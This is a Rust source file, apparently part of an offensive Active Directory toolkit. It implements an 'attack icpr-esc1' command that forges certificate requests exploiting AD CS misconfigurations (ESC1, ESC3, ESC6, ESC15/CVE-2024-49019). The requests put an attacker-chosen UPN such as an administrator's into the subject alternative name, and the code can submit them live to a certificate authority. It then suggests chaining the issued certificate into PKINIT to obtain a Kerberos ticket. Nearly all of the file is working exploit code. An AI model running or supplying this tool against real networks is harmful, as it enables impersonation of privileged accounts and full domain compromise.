1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
//! `attack icpr-esc1` — build an ESC1/ESC3/ESC6/ESC15 CSR via `ms-icpr`,
//! marshal the `CertServerRequest` opnum-0 input stub (offline diff/replay),
//! and — when `--host` is supplied — submit live over sealed `\PIPE\cert`.
use anyhow::{Context, Result};
use clap::Parser;
#[derive(clap::ValueEnum, Clone, Debug, PartialEq, Eq)]
pub(crate) enum EscVariant {
/// Default: enrollee-supplies-subject → UPN SAN in the CSR.
Esc1,
/// SAN as CA `pctbAttribs` request-attribute — targets CAs with
/// `EDITF_ATTRIBUTESUBJECTALTNAME2` set on the CA (identify via `enum esc`).
Esc6,
/// EKUwu / CVE-2024-49019 — inject an EKU via Microsoft
/// `Application Policies` extension against a schema-v1 template.
Esc15,
/// CMC EnrollOnBehalfOf — wrap a target CSR + sign as an
/// Enrollment Agent (requires `--agent-cert` + `--agent-key`).
Esc3,
}
#[derive(Parser)]
pub(crate) struct IcprEsc1Args {
/// CA name (e.g. `corp-CA`) — target `pKIEnrollmentService.cn`.
#[arg(long)]
pub ca: String,
/// Certificate template `cn` that permits enrollee-supplied subject/SAN.
#[arg(long)]
pub template: String,
/// UPN to inject into the SAN (e.g. `administrator@corp.local`).
#[arg(long = "target-upn")]
pub target_upn: String,
/// Subject CN for the CSR (default: `Recon`).
#[arg(long, default_value = "Recon")]
pub subject: String,
/// PEM-encoded RSA private key path to sign the CSR with. If absent, a
/// fresh 2048-bit key is generated and written alongside the CSR.
#[arg(long)]
pub key: Option<String>,
/// Write the marshaled `CertServerRequest` stub bytes here (base64 skipped
/// — raw DCE/RPC input stub for offline diffing / relay).
#[arg(long, default_value = "icpr-esc1.stub")]
pub out: String,
/// Write the CSR DER here.
#[arg(long, default_value = "icpr-esc1.csr")]
pub csr_out: String,
/// Enrollment-agent schema-version override. ms-icpr's preflight rejects
/// templates with `min_ra_signatures > 0`; this flag forces a synthetic
/// override for lab-only testing when the LDAP fetch is unavailable.
#[arg(long)]
pub schema_version: Option<i32>,
/// CA host or IP for live submission via sealed \PIPE\cert. If omitted
/// the command runs offline (writes CSR + stub only, no submit).
#[arg(long)]
pub host: Option<String>,
/// NetBIOS domain for the sealed bind (required when --host is set).
#[arg(long)]
pub domain: Option<String>,
/// Username (required when --host is set).
#[arg(long)]
pub user: Option<String>,
/// Password (required when --host is set).
#[arg(long, default_value = "")]
pub password: String,
/// ESC variant to exercise. Default `esc1` = classic SAN-in-CSR.
#[arg(long, value_enum, default_value = "esc1")]
pub esc: EscVariant,
/// ESC6 SAN request-attribute UPN (defaults to `--target-upn`).
/// Only used when `--esc esc6` — the SAN is sent as a
/// `SAN:upn=<value>` line in the CA's `pctbAttribs` field.
#[arg(long)]
pub san_upn: Option<String>,
/// ESC3: PEM path of the Enrollment Agent's certificate.
/// Required with `--esc esc3`.
#[arg(long)]
pub agent_cert: Option<String>,
/// ESC3: PEM path of the Enrollment Agent's RSA private key.
/// Required with `--esc esc3`.
#[arg(long)]
pub agent_key: Option<String>,
/// ESC15: additional EKU OID to inject via Microsoft Application
/// Policies (default `1.3.6.1.5.5.7.3.2` = Client Authentication).
/// Only used when `--esc esc15`.
#[arg(long, default_value = "1.3.6.1.5.5.7.3.2")]
pub esc15_eku: String,
}
/// `attack icpr-esc1` — build an ESC1 CSR via `ms-icpr` with an attacker-supplied UPN
/// SAN and marshal the `CertServerRequest` opnum-0 input stub. Offline: writes the
/// CSR + stub to disk (and a fresh RSA key if none supplied) so the wire can be
/// verified before a live submission. The sealed `\PIPE\cert` transport requires
/// `ms-icpr`'s `network` feature — disabled in this build to keep the workspace
/// off the `dcerpc↔ms-nrpc` resolver cycle — and stays a TODO here.
pub(crate) async fn icpr_esc1(a: IcprEsc1Args) -> Result<()> {
use ms_crtd::flags::{EnrollmentFlag, NameFlag, PrivateKeyFlag};
use ms_crtd::model::CertTemplate;
use ms_crtd::oid::Oid;
let key_pem = if let Some(path) = &a.key {
std::fs::read(path).with_context(|| format!("read --key {path}"))?
} else {
use rsa::pkcs8::EncodePrivateKey;
use rsa::RsaPrivateKey;
let mut rng = rand::thread_rng();
let key = RsaPrivateKey::new(&mut rng, 2048).context("generate RSA-2048 for CSR")?;
let pem = key
.to_pkcs8_pem(rsa::pkcs8::LineEnding::LF)
.context("encode key PKCS#8 PEM")?;
let pem_bytes = pem.as_bytes().to_vec();
let key_path = format!("{}.key.pem", a.csr_out);
std::fs::write(&key_path, &pem_bytes)?;
eprintln!("[+] generated 2048-bit RSA key → {key_path}");
pem_bytes
};
// Build the CSR according to the ESC variant. ESC1/ESC6 use the plain
// UPN-SAN CSR; ESC15 injects an EKU via Microsoft Application Policies
// (EKUwu shape); ESC3 builds the plain CSR, and the CMS EOBO wrapping
// happens later in the dispatch section below.
let csr = match a.esc {
EscVariant::Esc15 => ms_icpr::build_csr_with_upn_san_and_ekus(
&a.subject,
&a.target_upn,
&[a.esc15_eku.as_str()],
&key_pem,
ms_icpr::EkuCarrier::ApplicationPolicies,
)
.context("build_csr_with_upn_san_and_ekus (esc15)")?,
_ => ms_icpr::build_csr_with_upn_san(&a.subject, &a.target_upn, &key_pem)
.context("build_csr_with_upn_san")?,
};
std::fs::write(&a.csr_out, &csr)?;
eprintln!(
"[+] CSR built (variant={:?}, subject CN={}, SAN otherName+UPN={}) → {} ({} bytes)",
a.esc,
a.subject,
a.target_upn,
a.csr_out,
csr.len()
);
// Synthesize a minimal `CertTemplate` — with no LDAP fetch here, this stand-in
// exists purely to make `IcprClient::marshal_call` preflight pass so the stub
// bytes can be materialised. Live submissions run through `attack esc1` today.
let template = CertTemplate {
name: a.template.clone(),
oid: Oid::new("1.3.6.1.4.1.311.21.8.1.42"),
schema_version: a.schema_version.unwrap_or(2),
enrollment_flag: EnrollmentFlag::empty(),
name_flag: NameFlag::ENROLLEE_SUPPLIES_SUBJECT,
private_key_flag: PrivateKeyFlag::empty(),
ekus: vec![Oid::new("1.3.6.1.5.5.7.3.2")],
min_ra_signatures: 0,
raw_security_descriptor: None,
};
// Always emit the offline stub so consumers can diff / replay
let stub_client = ms_icpr::IcprClient::stub(a.ca.clone());
let stub = stub_client
.marshal_call(&template, &csr)
.context("ms_icpr::IcprClient::marshal_call")?;
std::fs::write(&a.out, &stub)?;
eprintln!(
"[+] marshaled CertServerRequest stub → {} ({} bytes, opnum {})",
a.out,
stub.len(),
ms_icpr::CERT_SERVER_REQUEST_OPNUM
);
// Live submit path — enabled via ms-icpr's `network` feature (default on after
// dcerpc 0.2.3 resolver-cycle fix). Requires --host + --domain + --user.
if let Some(host) = a.host.as_deref() {
let domain = a
.domain
.as_deref()
.ok_or_else(|| anyhow::anyhow!("--domain required when --host is set"))?;
let user = a
.user
.as_deref()
.ok_or_else(|| anyhow::anyhow!("--user required when --host is set"))?;
eprintln!(
"[*] submitting to {} \\\\PIPE\\\\cert (CA={}) as {}\\{}",
host, a.ca, domain, user
);
let mut client =
ms_icpr::IcprClient::connect(host, domain, user, &a.password, a.ca.clone())
.context("ms_icpr::IcprClient::connect (sealed \\PIPE\\cert)")?;
let submit_result = match a.esc {
EscVariant::Esc1 | EscVariant::Esc15 => client.submit_request(&template, &csr),
EscVariant::Esc6 => {
let san = a.san_upn.as_deref().unwrap_or(a.target_upn.as_str());
client.submit_request_esc6(&template, &csr, san)
}
EscVariant::Esc3 => {
let agent_cert_path = a
.agent_cert
.as_deref()
.ok_or_else(|| anyhow::anyhow!("--agent-cert required with --esc esc3"))?;
let agent_key_path = a
.agent_key
.as_deref()
.ok_or_else(|| anyhow::anyhow!("--agent-key required with --esc esc3"))?;
let agent_cert = std::fs::read(agent_cert_path)
.with_context(|| format!("read --agent-cert {agent_cert_path}"))?;
let agent_key = std::fs::read(agent_key_path)
.with_context(|| format!("read --agent-key {agent_key_path}"))?;
let signing_time = std::time::SystemTime::now()
.duration_since(std::time::UNIX_EPOCH)
.map(|d| d.as_secs() as i64)
.unwrap_or(0);
let cms_blob =
ms_icpr::build_esc3_request(&csr, &agent_cert, &agent_key, signing_time)
.context("ms_icpr::build_esc3_request (CMC EOBO)")?;
eprintln!(
"[+] built CMS-signed CMC blob ({} bytes) — submitting as enrollment-agent-on-behalf-of {}",
cms_blob.len(),
a.target_upn
);
client.submit_request_esc3(&template, &cms_blob)
}
};
match submit_result {
Ok(issued) => {
let cert_path = format!("{}.issued.pem", a.csr_out);
std::fs::write(&cert_path, &issued.pem)?;
eprintln!(
"[+] cert ISSUED (request_id={}) → {} ({} bytes)",
issued.request_id,
cert_path,
issued.pem.len()
);
eprintln!(
"[+] chain into `attack pkinit --cert {} --key {}.key.pem --upn {}` to obtain a TGT",
cert_path, a.csr_out, a.target_upn
);
}
Err(e) => {
eprintln!("[-] live submit failed: {e}");
eprintln!(
"[i] the offline stub is still available at {} for diagnostic / replay",
a.out
);
return Err(e.into());
}
}
} else {
eprintln!(
"[i] offline mode — no --host provided. To submit live, add: \
--host <CA-fqdn> --domain <NETBIOS> --user <user> --password <pw>"
);
}
Ok(())
}